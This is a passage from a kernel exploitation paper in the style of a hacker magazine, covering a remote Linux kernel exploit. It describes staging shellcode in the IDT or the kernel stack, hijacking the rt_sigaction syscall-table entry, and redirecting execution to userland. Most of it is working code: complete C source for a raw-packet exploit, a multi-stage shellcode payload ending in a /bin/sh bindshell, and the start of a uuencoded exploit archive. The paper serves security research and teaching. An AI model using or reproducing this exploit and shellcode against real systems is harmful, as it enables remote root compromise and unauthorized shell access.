preempt_count value, so that we would not end up into lowering it below zero. ---[ 3.2.4 - Copying the Stub We have just finished presenting a generic method to restore the stack after a 'general mess-up' of the netfilter core call-frames. What we have to do now is to find some place to store our shellcode, since we can't (as we said before) directly execute from inside interrupt context. [remember the note, this step and the following one are executed before getting out from the softirq context]. Since we don't know almost anything about the remote kernel image memory mapping we need to find a 'safe place' to store the shellcode, that is, we need to locate some memory region that we can for sure reference and that won't create problems (read : Oops) if overwritten. There are two places where we can copy our 'stage-2' shellcode : - IDT (Interrupt Descriptor Table) : we can easily get the IDT logical address at runtime (as we saw previously in the NULL dereference example) and Linux uses only the 0x80 software interrupt vector : +-----------------+ | exeption | | entries | |-----------------| | hw interrupt | | entries | |-----------------| entry #32 ==+ | | | | soft interrupt | | | entries | | usable gap | | | | | | | | ==+ | int 0x80 | entry #128 | | +-----------------+ <- offset limit Between entry #32 and entry #128 we have all unused descriptor entries, each 8 bytes long. Linux nowadays doesn't map that memory area as read-only [as it should be], so we can write on it [*]. We have thus : (128 - 32) * 8 = 98 * 8 = 784 bytes, which is enough for our 'stage-2 shellcode'. [*] starting with the Linux kernel 2.6.20 it is possible to map some areas as read-only [the idt is just one of those]. Since we don't 'start' writing into the IDT area and executing from there, it is possible to bypass that protection simply modifying directly kernel page tables protection in 'previous stages' of the shellcode. - the current kernel stack : we need to make a little assumption here, that is being inside a process that would last for some time (untill we'll be able to redirect kernel code over our shellcode, as we will see in the next section). Usually the stack doesn't grow up to 4kb, so we have an almost free 4kb page for us (given that the remote system is using an 8kb stack space). To be safe, we can leave some pad space before the shellcode. We need to take care of the 'struct thread_struct' saved at the 'bottom' of the kernel stack (and that logically we don't want to overwrite ;) ) : +-----------------+ | thread_struct | |---------------- | ==+ | | | usable gap | | | |-----------------| ==+ | | | ^ | | | | [ normally the stack doesn't ] | | | [ grow over 4kb ] | | | ring0 stack | +-----------------+ Alltogether we have : (8192 - 4096) - sizeof(descriptor) - pad ~= 2048 bytes, which is even more than before. With a more complex shellcode we can traverse the process table and look forward for a 'safe process' (init, some kernel thread, some main server process). Let's give a look to the shellcode performing that task : - get the stack address where we are [the uber-famous call/pop trick] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx - scan the stack untill we find the 'start marker' of our stage-2 stub. We put a \xaa byte at the start of it, and it's the only one present in the shellcode. The addl $10 is there just to start scanning after the 'cmp $0xaa, %al', which would otherwise give a false positive for \xaa. "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 - we have found the start of the shellcode, let's copy it in the 'safe place' untill the 'end marker' (\xbb). The 'safe place' here is saved inside the %esi register. We haven't shown how we calculated it because it directly derives from the shellcode used in the next section (it's simply somwhere in the stack space). This code could be optimized by saving the 'stage-2' stub size in %ecx and using rep/repnz in conjuction with mov instructions. "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a [during the develop phase of the exploit we have changed a couple of times the 'stage-2' part, that's why we left that kind of copy operation, even if it's less elegant :) ] ---[ 3.2.5 - Executing Code in Userspace Context [Gimme Life!] Okay, we have a 'safe place', all we need now is a 'safe moment', that is a process context to execute in. The first 'easy' solution that could come to your mind could be overwriting the #128 software interrupt [int $0x80], so that it points to our code. The first process issuing a system call would thus become our 'victim process-context'. This approach has, thou, two major drawbacks : - we have no way to intercept processes using sysenter to access kernel space (what if all were using it ? It would be a pretty odd way to fail...) - we can't control which process is 'hooked' and that might be 'disastrous' if the process is the init one or a critical one, since we'll borrow its userspace to execute our shellcode (a bindshell or a connect-back is not a short-lasting process). We have to go a little more deeper inside the kernel to achieve a good hooking. Our choice was to use the syscall table and to redirect a system call which has an high degree of possibility to be called and that we're almost sure that isn't used inside init or any critical process. Our choice, after a couple of tests, was to hook the rt_sigaction syscall, but it's not the only one. It just worked pretty well for us. To locate correctly in memory the syscall table we use the stub of code that sd and devik presented in their phrack paper [23] about /dev/kmem patching: - we get the current stack address, calculate the start of the thread_struct and we add 0x1000 (pad gap) [simbolic value far enough from both the end of the thread_struct and the top of stack]. Here is where we set that %esi value that we have presented as 'magically already there' in the shellcode-part discussed before. "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi - sd & devik sligthly re-adapted code. "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx - logically we need to save the original address of the syscall somewhere, and we decided to put it just before the 'stage-2' shellcode : "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) As you see, we save the address of the rt_sigaction entry [offset 0x2b8] inside syscall table (we will need it at restore time, so that we won't have to calculate it again) and the original address of the function itself (the above counterpart in the restoring phase). We make point the rt_sigaction entry to our shellcode : %esi. Now it should be even clearer why, in the previous section, we had ''magically'' the destination address to copy our stub into in %esi. The first process issuing a rt_sigaction call will just give life to the stage-2 shellcode, which is the final step before getting the connect-back or the bindshell executed. [or whatever shellcode you like more ;) ] We're still in kerneland, while our final goal is to execute an userland shellcode, so we still have to perform a bounch of operations. There are basically two methods (not the only two, but probably the easier and most effective ones) to achieve our goal : - find saved EIP, temporary disable WP control register flag, copy the userland shellcode overthere and re-enable WP flag [it could be potentially dangerous on SMP]. If the syscall is called through sysenter, the saved EIP points into vsyscall table, so we must 'scan' the stack 'untill ret' (not much different from what we do in the stack frame recovery step, just easier here), to get the real userspace saved EIP after vsyscall 'return' : 0xffffe410 <__kernel_vsyscall+16>: pop %ebp 0xffffe411 <__kernel_vsyscall+17>: pop %edx 0xffffe412 <__kernel_vsyscall+18>: pop %ecx 0xffffe413 <__kernel_vsyscall+19>: ret As you can see, the first executed userspace address (writable) is at saved *(ESP + 12). - find saved ESP or use syscall saved parameters pointing to an userspace buffer, copy the shellcode in that memory location and overwrite the saved EIP with saved ESP (or userland buffer address) The second method is preferable (easier and safer), but if we're dealing with an architecture supporting the NX-bit or with a software patch that emulates the execute bit (to mark the stack and eventually the heap as non-executable), we have to fallback to the first, more intrusive, method, or our userland process will just segfault while attempting to execute the shellcode. Since we do have full control of the process-related kernel data we can also copy the shellcode in a given place and modify page protection. [not different from the idea proposed above for IDT read-only in the 'Copy the Stub' section] Once again, let's go on with the dirty details : - the usual call/pop trick to get the address we're executing from "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx - patch back the syscall table with the original rt_sigaction address [if those 0xff8 and 0xffc have no meaning for you, just remember that we added 0x1000 to the thread_struct stack address to calculate our 'safe place' and that we stored just before both the syscall table entry address of rt_sigaction and the function address itself] "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx "\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) - locate Userland ESP and overwrite Userland EIP with it [method 2] "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax - once again we use a marker (\x22) to locate the shellcode we want to copy on process stack. Let's call it 'stage-3' shellcode. We use just another simple trick here to locate the marker and avoid a false positive : instead of jumping after (as we did for the \xaa one) we set the '(marker value) - 1' in %al and then increment it. The copy is exactly the same (with the same 'note') we saw before "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 - return from the syscall and let the process cleanly exit to userspace. Control will be transfered to our modified EIP and shellcode will be executed "\xc3" // ret We have used a 'fixed' value to locate userland ESP/EIP, which worked well for the 'standard' kernels/apps we tested it on (getting to the syscall via int $0x80). With a little more effort (worth the time) you can avoid those offset assumptions by implementing a code similar to the one for the Stack Frame Recovery tecnique. Just take a look to how current userland EIP,ESP,CS and SS are saved before jumping at kernel level : ring0 stack: +--------+ | SS | | ESP | <--- saved ESP | EFLAG | | CS | | EIP | <--- saved EIP |...... | +--------+ All 'unpatched' kernels will have the same value for SS and CS and we can use it as a fingerprint to locate ESP and EIP (that we can test to be below PAGE_OFFSET [*]) [*] As we already said, on latest kernels there could be a different uspace/kspace split address than 0xc0000000 [2G/2G or 1G/3G configurations] We won't show here the 'stage-3' shellcode since it is a standard 'userland' bindshell one. Just use the one you need depending on the environment. ---[ 3.2.6 - The Code : sendtwsk.c < stuff/expl/sendtwsk.c > #include #include #include #include #include #include #include /* from vuln module */ #define MAX_TWSKCHUNK 30 /* end */ #define NOP 0x90 #define OVERFLOW_NEED 20 #define JMP "\xe9\x07\xfe\xff\xff" #define SIZE_JMP (sizeof(JMP) -1) #define TWSK_PACKET_LEN (((MAX_TWSKCHUNK * sizeof(struct twsk_chunk)) + OVERFLOW_NEED) + SIZE_JMP \ + sizeof(struct twsk) + sizeof(struct iphdr)) #define TWSK_PROTO 37 #define DEFAULT_VSYSCALL_RET 0xffffe413 #define DEFAULT_VSYSCALL_JMP 0xc01403c0 /* * find the correct value.. alpha:/usr/src/linux/debug/article/remote/figaro/ip_figaro# ./roll val: 2147483680, 80000020 result: 512 val: 2147483681, 80000021 result: 528 */ #define NEGATIVE_CHUNK_NUM 0x80000020 char shellcode[]= /* hook sys_rtsigaction() and copy the 2level shellcode (72) */ "\x90\x90" // nop; nop; [alignment] "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx [get sys_call_table] "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx [get sys_rt_sigaction offset] "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) [save sys_rt_sigaction] "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) [make sys_rt_sigaction point to our shellcode] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a /* find and decrement preempt counter (32) */ "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a "\xff\x48\xfc" // decl 0xfffffffc(%eax) /* stack frame recovery step */ "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne 8048330 "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne 8048330 "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne 8048330 "\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne 8048351 "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je 8048351 "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne 8048375 "\x41" // inc %ecx "\xeb\xf2" // jmp 8048367 "\x40" // inc %eax "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp "\x31\xc0" // xor %eax,%eax "\xff\xe6" // jmp *%esi /* end of stack frame recovery */ /* stage-2 shellcode */ "\xaa" // border stage-2 start "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx "\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 "\xc3" // ret "\x22" // border stage-3 start "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80" // int 80h "\x22" // border stage-3 end "\xbb"; // border stage-2 end /* end of shellcode */ struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; void fatal_perror(const char *issue) { perror("issue"); exit(1); } void fatal(const char *issue) { perror("issue"); exit(1); } /* packet IP cheksum */ unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for(sum=0; nwords>0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum &0xffff); sum += (sum >> 16); return ~sum; } void prepare_packet(char *buffer) { unsigned char *ptr = (unsigned char *)buffer;; unsigned int i; unsigned int left; left = TWSK_PACKET_LEN - sizeof(struct twsk) - sizeof(struct iphdr); left -= SIZE_JMP; left -= sizeof(shellcode)-1; ptr += (sizeof(struct twsk)+sizeof(struct iphdr)); memset(ptr, 0x00, TWSK_PACKET_LEN); memcpy(ptr, shellcode, sizeof(shellcode)-1); /* shellcode must be 4 bytes aligned */ ptr += sizeof(shellcode)-1; for(i=1; i < left/4; i++, ptr+=4) *((unsigned int *)ptr) = DEFAULT_VSYSCALL_RET; *((unsigned int *)ptr) = DEFAULT_VSYSCALL_JMP; ptr+=4; printf("buffer=%p, ptr=%p\n", buffer, ptr); strcpy(ptr, JMP); /* jmp -500 */ } int main(int argc, char *argv[]) { int sock; struct sockaddr_in sin; int one = 1; const int *val = &one; printf("shellcode size: %d\n", sizeof(shellcode)-1); char *buffer = malloc(TWSK_PACKET_LEN); if(!buffer) fatal_perror("malloc"); prepare_packet(buffer); struct iphdr *ip = (struct iphdr *) buffer; struct twsk *twsk = (struct twsk *) (buffer + sizeof(struct iphdr)); if(argc < 2) { printf("Usage: ./sendtwsk ip"); exit(-1); } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) fatal_perror("socket"); sin.sin_family = AF_INET; sin.sin_port = htons(12345); sin.sin_addr.s_addr = inet_addr(argv[1]); /* ip packet */ ip->ihl = 5; ip->version = 4; ip->tos = 16; ip->tot_len = TWSK_PACKET_LEN; ip->id = htons(12345); ip->ttl = 64; ip->protocol = TWSK_PROTO; ip->saddr = inet_addr("192.168.200.1"); ip->daddr = inet_addr(argv[1]); twsk->chunk_num = NEGATIVE_CHUNK_NUM; ip->check = csum((unsigned short *) buffer, TWSK_PACKET_LEN); if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) fatal_perror("setsockopt"); if (sendto(sock, buffer, ip->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0) fatal_perror("sendto"); return 0; } < / > ------[ 4 - Final words With the remote exploiting discussion ends that paper. We have presented different scenarios and different exploiting tecniques and 'notes' that we hope you'll find somehow useful. This paper was a sort of sum up of the more general approaches we took in those years of 'kernel exploiting'. As we said at the start of the paper, the kernel is a big and large beast, which offers many different points of 'attack' and which has more severe constraints than the userland exploiting. It is also 'relative new' and improvements (and new logical or not bugs) are getting out. At the same time new countermeasures come out to make our 'exploiting life' harder and harder. The first draft of this paper was done some months ago, so we apologies if some of the information here present could be outdated (or already presented somewhere else and not properly referenced). We've tried to add a couple of comments around the text to point out the most important recent changes. So, this is the end, time remains just for some greets. Thank you for reading so far, we hope you enjoyed the whole work. A last minute shotout goes to bitsec guys, who performed a cool talk about kernel exploiting at BlackHat conference [24]. Go check their paper/exploits for examples and covering of *BSD and Windows systems. Greetz and thanks go, in random order, to : sgrakkyu: darklady(:*), HTB, risk (Arxlab), recidjvo (for netfilter tricks), vecna (for being vecna:)). twiz: lmbdwr, ga, sd, karl, cmn, christer, koba, smaster, #dnerds & #elfdev people for discussions, corrections, feedbacks and just long 'evening/late night' talks. A last shotout to akira, sanka, metal_militia and yhly for making the monday evening a _great_ evening [and for all the beers offered :-) ]. twiz & sgrakkyu : darkangel and all the antifork/s0ftpj guys. Always a great pleasure to work with you all. ------[ 5 - References [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - SPARC V9 Architecture http://www.sparc.com/standards/SPARCV9.pdf [3] - AMD64 Reference Manuals http://www.amd.com/it-it/Processors/ ProductInformation/0,,30_118_4699_875^7044,00.html [4] - MCAST_MSFILTER iSEC's advisory http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt [5] - sendmsg local buffer overflow http://www.securityfocus.com/bid/14785 [6] - kad, "Handling Interrupt Descriptor Table for fun and profit" http://www.phrack.org/archives/59/p59-0x04.txt [7] - iSEC Security Research http://www.isec.pl [8] - Jeff Bonwick, "The Slab Allocator: An Object-Caching Kernel Memory Allocator" http://www.usenix.org/publications/library/proceedings/ bos94/bonwick.html [9] - Daniel P. Bovet & Marco Cesati "Understanding the Linux Kernel", 3rd Edition [ISBN 0-596-00565-2] [10] - Richard McDougall and Jim Mauro "Solaris Internals" , 2nd Edition [ISBN 0-13-148209-2] [11] - Mel Gorman, "Linux VM Documentation" http://www.skynet.ie/~mel/projects/vm/ [12] - sd, krad exploit for sys_epoll vulnerability http://www.securiteam.com/exploits/5VP0N0UF5U.html [13] - noir, "Smashing The Kernel Stack For Fun And Profit" http://www.phrack.org/archives/60/p60-0x06.txt [14] - UltraSPARC User's Manuals http://www.sun.com/processors/documentation.html [15] - pr1, "Exploiting SPARC Buffer Overflow vulnerabilities" http://www.emsi.it.pl/sploits/solaris/sparcoverflow.html [16] - horizon, Defeating Solaris/SPARC Non-Executable Stack Protection http://www.emsi.it.pl/sploits/solaris/horizon.html [17] - Gavin Maltby's Sun Weblog, "SPARC System Calls" http://blogs.sun.com/gavinm/entry/sparc_system_calls [18] - PaX project http://pax.grsecurity.net [19] - Solar Designer, "Getting around non-executable stack (and fix)" http://insecure.org/sploits/linux.libc.return.lpr.sploit.html [20] - Sebastian Krahmer, "x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique" http://www.suse.de/~krahmer/no-nx.pdf [21] - Laurent BUTTI, Jerome RAZNIEWSKI & Julien TINNES "Madwifi SIOCGIWSCAN buffer overflow" http://lists.grok.org.uk/pipermail/full-disclosure/2006-December /051176.html [22] - sgrakkyu, "madwifi linux remote kernel exploit" http://www.milw0rm.com/exploits/3389 [23] - sd & devik, "Linux on-the-fly kernel patching without LKM" http://www.phrack.org/archives/58/p58-0x07 [24] - Joel Eriksson, Karl Janmar & Christer Oberg, "Kernel Wars" https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar /Whitepaper/bh-eu-07-eriksson-WP.pdf ------[ 6 - Sources - drivers and exploits [stuff.tgz] begin 644 stuff.tgz M'XL(`!J,'T8``^P\^W/;-M+Y59KI_X!1&X>2Y8B49-FQZLRHL=SXXM?XD;87 M9S@4"=H\4Z1*4H[<-/>WW^X")$&*=I*>D]XW7]C:)@'LXK$/["X6B9.YZW8> M?=%'AV=C?1W_&AOK.GT;_3[]E<\C0Q_HW6Y77Q]T'^E&M[?>?\36O^RPQ#./ M$RMB[%'RSOOC_G8\BN^I3R>2_OT_\L1$?[Z8^5^."3Z'_EV]!_3O]8QO]/\J MCT+_.+)L/HTOG]H/W`>NQT#0NX+^QL#(Z&]L##8,H/]Z3S<>L:^RB/_/Z=]I ML>_JK,5RXK,U%O/`@7-]%7I+P@+EAQ*S` M81'WN15SAX4!.[Z"$5ZWH;MXSMF@_U2`T.\._/ZN_KT7V/[S'.'&\\.G5 M\T*9=QE8?JEP'GC0MMPR<7QOLE08P6B76WI!4BZ\C3O)[8S'%>7`:^7FKATD MY6%AT^G4"LK%]A5?&BQB#>UK+O!"E<-=+^#L>/3SV#S=^^>8Z0L0,#VO.3@8 M'9NCG9T3IFDWH>>TFOJB*]FV66IV>+Z_KS33EYM1/X?G!\SH;A;[/WOQTGQQ MM#/6)D##=NBZ,4_:-Y8_YTUV`6033TO3YK"(O:Z9L%93T^PK*VHU$82M,@'4 M;+)MEK5J:@*'VIEK)99O\B@*0FW1OFVR]VP&7V&D+9I#X%0OT6[AY0/"`"7G M=L)L8/`K)V*M2],*;,_WK>AVB/4@$9=^.+%\%L-0@/FH.Y:$++X-;&#FB%M. M3#R*,@/<]UW])O2MQ`.N1P)[-H.A$A*36FPS?:B.]GQOQSS:W3T=GS$C+ST] M&[UXA>5IW>!97HGKJ-:Q9^N($1>+79-,F:#))V_>LFTL;UPL)OQBP3X.L/^J+'-]N/>>P1@L'ZQ:(/"#8G`-R_6'374T0J0@7! MX\MX"UBD_3BR%HQ0](R+A?VLJM_R&!:PFHB"VXLV_F),,]8)QR;@<)]!]S9T M:=PU%\1A3V=R'D;7)BR$8`/&;MB?,HA_<7KMZ[KEZBC=\\F@/_&255B9S>=B M-+`81N5*WK&J&JY&$T;CB-'T8"IN]U,0R.D@/7+P#20"_Z3)!#R=#-\L34;/ M)[..R]F_#Z$R&7W1_Q+SV7B@^2"[.9\TEHS=G$4^ELUGG[D'@*"R; MGS0?L1SW,1M)'XBO?>^@$)GE./@*K-\G\2-PUP50XU/&`KN)F(\4&9R%\VDB MD\_"MHNS,/IB%KHK!->]=UD06?S.FEW&3%OO9].W-^`O*A_\@67H3NY00+^+ MZ78)%C@;H6Z_98K[L&2\W:K-<#@XC>[9CV(Z43/5V]KOK34)9=Z40^ M[?)@W<;P$[@HXLGOC$PQW!$]AW%O9CJA2?LO%@#&][CQT[;5LJ++FP7N6.Q] MHS/Q@DY\U6@SM#@^#+'5#"RNQ-4:<\_9?NQ`,T+B86M?< MO/[7?#HK+"RM>HN@3)@3+"V8D;/4?M,$9Y,!UV;"Z&NSXY.C,_-D/-KYD]Y^ M.=D[&[<9V8B'1X>_'1R=G_Z)7\Z]'9V-ZW]W[=;P#*.!_,*NP9\_5E&ZW M"7YWM+<_WFD*4T\UT1HX*J`6T07_RT9^Q7T?%TX=?6:(MJ4I6SUF\3K^=?SB MLT:?#K[8\^=-`&2(3^W9;1%+6[7,VBSV_N"AJREES;4,7K&6E>GFAB*QOL+Y MU>W+)B0MF'SN@RM9EVW&5A31S80'&0^]Y<041K`)$AJ"RW:K88W6]-Z*WT):A\A@6=( M8$77S7*"O[L"]P*ZQ??W@B%A#IF/(7GT?>I6*4[-VG-T=4P?_.IMMJ[KP[2- M&+S\_(!_/LA)H*LUZ(-#EL2VE@X\*P0X`K+B*4L='ZT1.="X`2Y^8WO4T"+T MVN3RR4428*H+!@`@!Q:8$.4N)AS<*SXLE%ENPB.A;#*'$8P.'L>(=EB)EWZ_ M`<_T[5`0QT=G2K"B"R,W71B[25H&">?&144*9E54T$+H-;<5%DR=W_NTZ.G+ MT+2T&/;"DPLU<1D03^%T6TZ.YRK1_W# M,FO>MC%DWH_I7-;P:W55Y32QC-[;IV*]B]ZX0`V2Z;6RA6E*KLH(Y<0#FT.9[PO=1\!KS\6"Y)]$L[7T M4S`%C7%Y>')HZ*W0UB>T$5Z$L#DC8(\5PF!24,C*Q>51#@&G;E?(# MK!_S)`V?W<`XE1V.Y8-Q0+/!/.;!-8E"8;M"?5OJ76(O]MMBR11-1*T M+L&+.4%S92MD=\YGJ?$-]V4(3RW'$"]3RU=7Y3B_6D<@L[#<&A2UR8V`[6&C M6[#6II879#*PO#L*$18?X(7IPN\J,AV>`^1U2K/5&?LTKX`!J[<*M"C MG$6XAUBHNGBTU02=(1"`D8?3T?+9?8D5^]A:D;EMSLC@KC;P,Y-6]:TK3%ED MN'LM6<%@2WN>H$*OFSN$Y&S8;[IO,UZ*9Z#5$QPBG7?,+"_21KOF^>'>K^#Z M'('G7:QG;MV`BZU]4NKE2,KKIDJ'%5V3_'8H-1^V5XA8N$6%2AM>PT`UHC"LU-[/K_92$OX% M(9"6IR[TS-]]?OGM^>\>]?P??+G(BQ\^#^13\S\V-C`)`/,_P$T=?,O_^!I/ M!?U)=]C7#Y<&7O-#(H"?!][O0(H4".-I MU7`JH#)6`("^@77`9KX+]+($*F$DALLHG,\8\(A#H9DJ#'%IT#%Z^\!.Q='. MR25O`/KO:(WRJ4-P4G"+GGU>06V!VQ?)"\ M:R;#G/-'^WL_'QZ/=E)4O;SJ^'3O1=V+NNQV!"21H'F"& M%R@#/P2M`2X'13^;]5P^TD[3;_P:+DE"^K@.#"[_2)TR92S"*3LZW/^MJ:!Q MF<8R[RPKSD>1C4;D)PEO34&0/M+,7C/RJ@_Y@-#9`HN\S62TL+F"LTG=<*;A M5U/!FIOP]5('V/)I2OXZ=)&G*1V?CDY^/DU3CO1%KZ>S53Q2&AAU"B](%6]. M>6&A:4CPT`FO..!E#?15D"'D$2_[,%QNSX.;6=K^;'QRL'V3&+H.$(V?1J%EH)UD'#;>%Z\U8GI]SR. M.ME+7D3[7*?TB=5IGWC05.@TG55.R=0_/I;;%*:0</J8%RGFULPJ\^ MTMO(FNZ<'QS\1B=L*(,8G,#]JU%70DWUY>VH_*!@?:P-GA7ERD;&K:`OTPZG MM.4&W%2:"!A@RDRGJ)5* 